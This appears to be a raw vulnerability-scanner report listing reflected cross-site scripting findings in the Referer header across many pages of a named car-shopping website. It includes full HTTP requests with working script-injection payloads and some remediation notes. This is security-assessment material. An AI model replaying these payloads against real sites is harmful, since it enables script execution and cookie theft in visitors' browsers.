GET /content/research/article/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=5f58d--><img%20src%3da%20onerror%3dalert(1)>4dfd8201d14
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 43339"%3balert(1)//8f32a5fa65 was submitted in the Referer HTTP header. This input was echoed as 43339";alert(1)//8f32a5fa65 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=43339"%3balert(1)//8f32a5fa65
The value of the Referer HTTP header is copied into an HTML comment. The payload 1bb3a--><img%20src%3da%20onerror%3dalert(1)>4f1f9a9fc8b was submitted in the Referer HTTP header. This input was echoed as 1bb3a--><img src=a onerror=alert(1)>4f1f9a9fc8b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/article/index.cfm/filters/Auto%20Show HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=1bb3a--><img%20src%3da%20onerror%3dalert(1)>4f1f9a9fc8b
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 58188"%3balert(1)//e6d87bfda67 was submitted in the Referer HTTP header. This input was echoed as 58188";alert(1)//e6d87bfda67 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=58188"%3balert(1)//e6d87bfda67
The value of the Referer HTTP header is copied into an HTML comment. The payload 727dd--><img%20src%3da%20onerror%3dalert(1)>24c9032c8d0 was submitted in the Referer HTTP header. This input was echoed as 727dd--><img src=a onerror=alert(1)>24c9032c8d0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/article/index.cfm/filters/Buying%20Guide HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=727dd--><img%20src%3da%20onerror%3dalert(1)>24c9032c8d0
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ea24"%3balert(1)//01111d12432 was submitted in the Referer HTTP header. This input was echoed as 8ea24";alert(1)//01111d12432 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=8ea24"%3balert(1)//01111d12432
The value of the Referer HTTP header is copied into an HTML comment. The payload 98cfa--><img%20src%3da%20onerror%3dalert(1)>5e9e92a6325 was submitted in the Referer HTTP header. This input was echoed as 98cfa--><img src=a onerror=alert(1)>5e9e92a6325 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/comparison/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=98cfa--><img%20src%3da%20onerror%3dalert(1)>5e9e92a6325
The value of the Referer HTTP header is copied into an HTML comment. The payload b2b0b--><img%20src%3da%20onerror%3dalert(1)>fc61a284c7c was submitted in the Referer HTTP header. This input was echoed as b2b0b--><img src=a onerror=alert(1)>fc61a284c7c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=b2b0b--><img%20src%3da%20onerror%3dalert(1)>fc61a284c7c
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2bcb3"%3balert(1)//cd492363a17 was submitted in the Referer HTTP header. This input was echoed as 2bcb3";alert(1)//cd492363a17 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=2bcb3"%3balert(1)//cd492363a17
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4daf0"%3balert(1)//354c9a1feaa was submitted in the Referer HTTP header. This input was echoed as 4daf0";alert(1)//354c9a1feaa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=4daf0"%3balert(1)//354c9a1feaa
The value of the Referer HTTP header is copied into an HTML comment. The payload d6991--><img%20src%3da%20onerror%3dalert(1)>66db5d2ea74 was submitted in the Referer HTTP header. This input was echoed as d6991--><img src=a onerror=alert(1)>66db5d2ea74 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/kbb/index.cfm/action/selectyear/valuetype/TI HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=d6991--><img%20src%3da%20onerror%3dalert(1)>66db5d2ea74
The value of the Referer HTTP header is copied into an HTML comment. The payload 301b4--><img%20src%3da%20onerror%3dalert(1)>dcf95c6f956 was submitted in the Referer HTTP header. This input was echoed as 301b4--><img src=a onerror=alert(1)>dcf95c6f956 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=301b4--><img%20src%3da%20onerror%3dalert(1)>dcf95c6f956
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d00ae"%3balert(1)//0ebf00d462 was submitted in the Referer HTTP header. This input was echoed as d00ae";alert(1)//0ebf00d462 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /content/research/top10/index.cfm/action/top10/vehicleclass/all/listtype/1 HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=d00ae"%3balert(1)//0ebf00d462
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2928"><a>d6ef5eee369 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /content/shared/modProfile/index.cfm HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=f2928"><a>d6ef5eee369
Response
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/7.0 Expires: Mon, 24 Jan 2011 23:42:37 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 23:42:37 GMT Content-Length: 4302 Connection: close Set-Cookie: ENTERED_POSTAL_CODE_VCH=;expires=Wed, 16-Jan-2041 23:42:37 GMT;path=/ Set-Cookie: HOMEVERSION=2;path=/
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0b2d"><a>85fc07a108 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /content/shared/modProfile/index.cfm?id=4;ABTL&action=handler HTTP/1.1 Host: www.autobytel.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: TIME=%7Bts%20%272011%2D01%2D24%2017%3A06%3A34%27%7D; BDATALIST=Google%20Search%7Ef34b4%2D%2D%3E%3Cimg%20src%3Da%20onerror%3Dalert%28document%2Ecookie%29%3Ef067754e5c4; __utmz=47232823.1295903274.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/31; USER_UUID_VCH=427D3445%2DBFE0%2DBF1D%2D884FC154EC603416; Axxd=1; s_sq=%5B%5BB%5D%5D; PV_CT=2; cweb=JONQJVS10.4.128.176CKMMM; HOMEVERSION=2; AxData=; s_cc=true; COUNT=1; ID=13148%3BABTL; ENTERED_POSTAL_CODE_VCH=; s_vi=[CS]v1|269EF4F28501182F-60000108600B027D[CE]; __utma=47232823.1972730476.1295903274.1295903274.1295903274.1; __utmc=47232823; __utmb=47232823.1.10.1295903274; Referer: http://www.google.com/search?hl=en&q=f0b2d"><a>85fc07a108
Response (redirected)
HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/7.0 Expires: Mon, 24 Jan 2011 23:53:00 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 23:53:00 GMT Content-Length: 4357 Connection: close Set-Cookie: ENTERED_POSTAL_CODE_VCH=;expires=Wed, 16-Jan-2041 23:53:00 GMT;path=/ Set-Cookie: HOMEVERSION=2;path=/
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3f142"%3balert(1)//d4b4f172a3f was submitted in the Referer HTTP header. This input was echoed as 3f142";alert(1)//d4b4f172a3f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
